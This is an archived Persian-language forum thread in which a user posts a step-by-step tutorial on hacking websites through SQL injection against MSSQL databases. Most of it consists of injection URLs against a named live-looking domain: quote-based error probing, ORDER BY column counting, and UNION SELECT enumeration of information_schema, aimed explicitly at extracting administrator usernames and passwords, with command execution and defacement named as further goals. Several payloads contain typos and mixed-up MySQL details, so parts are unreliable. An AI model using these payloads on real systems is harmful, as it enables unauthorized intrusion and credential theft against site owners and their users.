PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : آموزشی آموزش گام به گام Mssql Injection



Sabo3eur
28th July 2013, 08:13 PM
َسلام خدمت دوستان عزیز
امروز نحوه اموش هک کردن با باگ Sql Injection رو براتون میذارم امیدوارم مفید باشه


آموزش اینجکت کردن دیتابیس های Mssql به صورت کامل گام به گام.
خوب بریم سراغ آموزش !!!
در ابتدا تعریفی داشته باشم از باگ Sql Injection :
Sql Injection یک نوع حفره ی امنیتی هستش که با بی دقتی برنامه نویس در استفاده از Query های Sql به وجود میاد و به نفوذ گر امکان نفوذ میده.
این باگ یکی از پرطرفدار ترین باگ های دنیاست به چند دلیل
1 سادگی استفاده از آن
2 فراوانی این باگ.
این باگ چگونه به وجود میاد : ما با استفاده از کارکتر های غیر مجاز باعث به وجود آمدن خطا میشیم و از همین خطا ها اطلاعات دیتابیس رو بیرون میکشیم.
ما تو این قسمت نحوه ی اینجکت Mssql رو آموزش میدیم.
میریم سراغ آموزش :
باگ های SQl Injection در جا خایی مختلفی ممکنه وجود داشته باشه مثل یک آدرس در Url که با بانک اطلاعاتی در ارتباطه یا فیلد های لاگین پیج که User و Password رو با اطلاعاتی که در داخل بانک اطلاعاتی چک میکنه یا حتی یک قیلد Search یا فیلد های ثبت نام که اطلاعات رو در دیتابیس ذخیره میکنن و ........
ما دونه دونه جلو میریم.
میخوام که این مقاله یکی از کامل ترین مقاله های اینجکت Mssql بشه !!!!
نکته ای که باید اینجا متذکر بشم اینه که دیتابیس های Mssql ورژن های مختلفی دارن که یک قانون تو همه ی ورژن ها صدق میکنه اونم اینه که اگر ورژن دیتابیس بالای 4 بود ما میتونیم تیبل ها و کالمن ها رو براحتی بدست بیاریم ولی اگر زیر 4 بود این کار یکم سخت میشه و باید حدس بزنیم !!!
ما از ورژن شروع میکنیم.
همان طور که در بالا هم بهش اشاره شد در مکان های مختلفی امکان داره این باگ رخ بده ما تو این قسمت از آموزش فرض رو بر این میگیریم که url باگ داره .
برای پیدا کردن باگ Sql Injection ما چند راه داریم
1 استفاده از کارکتر های غیر مجاز مثل (')
2 استفاده از دستورات منطقی مثل (and 1=1 Or and 1=0)
استفاده از کارکتر های غیر مجاز
ما یه سایتیداریم میخواهیم ببینیم باگ Sql Injection دارد یا خیر
آدرس یکی از صفحاتش به این صورته


http://njavan.com/index.php?id=5

Sabo3eur
28th July 2013, 08:14 PM
خوب ما وقتی این آدرس رو مبینیم اون صفحه یم کوری برای Database میفرسته که Id برابر بشه با 5 در دیتابیس از قبل تعریف شده که اگر Id برابر با 5 شد فلان صفحه رو نمایش بده.
ما تست میکنیم که باگ داره یا نه
در آدرس مرورگر وارد میکنیم


http://njavan.com/index.php?id=5'

پس از اجرا کردن این آدرس ما یک خطا مثل زیر مشاهده میکنیم :


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near '


این خطا نشان دهنده این است که این سایت باگ Sql Injection داره.
حال باید بریم سراغ اینجکت کردن این سایت با هدفی مشخص از اینجکت
مثالا بدست آوردم Username و Password صفحه ی مدریت یا اجرا کردن کامند در صورت پیکر بندی نادرست Sql Server یا وارد کردن اطلاعات جدید در جداول ها و تغیر ضاهر سایت !!!!
هر 3 روش رو به صورت کامل براتون توضیح میدم.
هدف اول بدست آوردن Username و Password مدیریت سایت :
ما با استفاده از دستورات Sql اطلاعاتی بدست بیاریم تعدای از این دستورات رو توضیح میدم.
دستور Order by ما با استفاده از این دستور تعداد کالمن هایی که در دستور اول خوانده می شوند را در میاریم :
طریقه ی استفاده از دستور Order by
Order by تعداد حدث کالومن ها
به این صورت عمل میکنیم
نکته : برای استفاده از دستور union select باید تعداد دیقیق کالمن هایی که در دستور اول خواست میشود را بدانیم.


http://njavan.com/index.php?id=5+order+by+5

عدد 5 یک عدد حدسی است که ما میگیم آیا این دستور اول 5 تا کالمن را می خواند؟
پس از وارد کردن این آدرس 2 تا اتفاق ممکنه بیفته
1 صفحه به صورت کامل لود میشود.
2 خطایی شبیه زیر دریافت میکنید :


Microsoft OLE DB Provider for ODBC Driverserror '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 5 is out of range of the number of items in the select list.

Sabo3eur
28th July 2013, 08:26 PM
اگر صفحه لود شد و بالا اومد یعنی با تعداد کالمن ها بیشتره یا به همین تعدادی هست که وارد کردید.
اگر صفحه خطا داد یعنی تعداد تیبل ها کمتره و باید با عددی کمتر امتحان کنید.

http://njavan.com/index.php?id=5+order+by+5

پس از اجرای آدرس بالا صفحه لود شد و بالا اومد این یعنی تعداد کالمن های دستور اول بالا تر یا برابر با 5 هستش یک بالاتر رو امتحان میکنم:


http://njavan.com/index.php?id=5+order+by+7
باز هم صفحه لود شد و این یعنی تعداد کالمن های دستور اول برار یا بالاتر ای 7 یک عدد بیشتر رو امتحان میکنم:


http://njavan.com/index.php?id=5+order+by+5


خطا ی زیر رو داد :


Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft]
[ODBC SQL Server Driver][SQL Server]The ORDER BY position number 9 is out of range of the number of items in the select list.

خوب این خطا یعنی تعداد کالمن های دستور اول کمتر از 9 هستش.
عدد 8 رو انتخاب میکنیم :

http://njavan.com/index.php?id=5+order+by+8

باز هم خطا داد:


Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft]
[ODBC SQL Server Driver][SQL Server]The ORDER BY position number 8 is out of range of the number of items in the select list.

این یعنی تعداد کالمن های دستور اول ما 7 تاست چون 7 را وارد میکنیم سایت بالا میاد ولی 8 خطا میده !!!!
میریم سراغ اینجکت
ما برای پیدا کردن اسم تیبل ها و کالومن ها
ما برای این کار چند تا راه داریم
1 استفاده از دستور Union+select و استفاده از جدول information_schema در ورژن های 5 به بالا.
2 استفاده از دستور Select یا Select Top و استفاده از جدول information_schema در ورژن های 5 به بالا.
3 اسفاده از دستورات having و Group by
از Union+select شروع میکنیم:
نحوه ی استفاده از Union+select و استفاده از تیبل information_schema به این صورته :


http://njavan.com/index.php?id=5+union+select+Tedade table ha

تعداد تیبل های ما 7 تا بود پس به این صورت عمل میکنیم :


http://njavan.com/index.php?id=5+union+select+1,2,3,4,5,6,7

Sabo3eur
28th July 2013, 08:35 PM
پس از اجرای این دستور ما در صفحه به صورت محسوسی !!!! چند عدد مشاهده میکنیم مثل 2 یا 5 یا هر عددی زیره 7 که این عدد ها نشان دهنده ی جدول هایی هست که در حال حاظر با دیتابیس در ارتباط هست.
ما اگر این عدد ها رو در صفحه مشاهده کردیم که هیچ اگر نکردید سروری صفحه را مشاهده کنید.
اگر مشاهده نکردید با یکی از دستورات از قبل تعریف شده مثل User() تک تک تست کنید روی هر کدام که اطلاعات رو نشان داد اون با بانک الاعاتی در ارتباطه.
یک توضیح کوچولو درباره جدول information_schema بدم این جدول دز ورژن 5 به دیتابیس اضافه شد و اطلاعات دیتابیس ها و جدول ها و کالومن ها در اون ذخیره میشه.
ما فرض رو بر این میگیریم که عدد 2 را مشاهده کردیم به این صورت عمل میکنیم:


http://njavan.com/index.php?id=5+union+select+1,Table_name,3,4,5,6,7 +from+infromation_ schema.tables

ما در آدرس بالا با استفاده از اطلاعاتی که در جدول Table_name ذخیره شده اسم اولین تیبل از این دیتابیس رو میبینیم.
توضیح ساده درباره ی دستورات بالا برای کسانی که با نحوه ی کار با Sql آشنایی ندارن.
در دستور بالا گفتیم که اطلاعات فیلد table_name رو از جدول infromation_schema.tables به ما نشون بده .
infromation_schema.tables جدولیه که اطلاعات جدول های دیگر داخلش ذخیره شده.

ادامه داستان !!!!
خوب با استفاده از دستور بالا ما اسم اولین جدول رو بدست میاریم.
یه نکته بگم برای دیدن اطلاعات داخل جداول ها یا فیلد ها ابتدا باید نام اون ها رو داشته باشیم.
خوب خطا به ما یک اسم نشون میده مثل Forum ما بعد از بدست آوردن نام اولین جدول میریم دنبال نام جداول دیگر
برای این کار ما از دستور where استفاده میکنیم و به Sql دستور میدیم که نام جدول مورد نظر ما این نیست به این صورت:



http://njavan.com/index.php?id=5+union+select+1,Table_name,3,4,5,6,7 +from+infromation_schema.tables+where+not+in('foru m')

پس از وارد کردن دستور بالا نام دومین جدول رو میبینیم مثالا News.
میریم سراغ جدول بعدی به این صورت:

http://njavan.com/index.php?id=5+union+select+1,Table_name,3,4,5,6,7 +from+infromation_schema.tables+where+not+in('foru m','News')

Sabo3eur
28th July 2013, 08:45 PM
پس از وارد کردن آدرس بالا در مرورگر ما اسم تیبل سوم رو میبینیم مثالا pageid
به این صورت عمل میکینم :

http://njavan.com/index.php?id=5+union+select+1,Table_name,3,4,5,6,7 +from+infromation_ schema.tables+where+not+in('forum','News',pageid)

پس از ورد کردن ادرس بالا ما اسم جدول بعدی رو مشاهده میکنیم Users خوب ما به هدفی که داشتیم یعنی پیدا کردن جدول ادمین و به دست آوردن username و Password مدید رسیدیم.
نکته : اکثر مواقع اطلاعات مدیر در جداول زیر میباشد:
Users
Members
Member
Useradmin
user-admin
userpass
admin
administrator
و .......
خوب حالا که ما جدول مدیر رو بدست آوردیم میریم سراغ به دست آوردن کالومن ها ی این جدول :
برای بدست آوردن کالومن ها به این صورت عمل میکنیم :

http://njavan.com/index.php?id=5+union+select+1,column_name,3,4,5,6, 7+from+infromation_schema.columns+where+table_name ='users')

در دستور بالا ما اطلاعات کالومن ها رو از جدول information_schema خواستیم و بعد اون رو محدود کردیم به یک جدول خاص.
با اجرای آدرس بالا ما اسم اولین کالومن رو میبینیم مثالا Id
برای بدست آوردن کالومن های دیگر به این صورت عمل میکنیم :


http://njavan.com/index.php?id=5+union+select+1,column_name,3,4,5,6, 7+from+infromation_schema.columns+where+table_name ='users'+and+column_name+not+in('ID[/url]'))
در دستور بالا ما با استفاده از دستور and گفتیم که اگر کالومن این جدول Id نباشه که ما کالومن دیگه رو مشاهده میکنیم.
اسم جدولی که خطا به ما نشون میده Username هستش میریم سراغ بقیه:


http://njavan.com/index.php?id=5+union+select+1,column_name,3,4,5,6, 7+from+infromation_schema.columns+where+table_name ='users'+and+column_name+not+in('ID,username'))

استفاده از تمامی مطالب سایت تنها با ذکر منبع آن به نام سایت علمی نخبگان جوان و ذکر آدرس سایت مجاز است

استفاده از نام و برند نخبگان جوان به هر نحو توسط سایر سایت ها ممنوع بوده و پیگرد قانونی دارد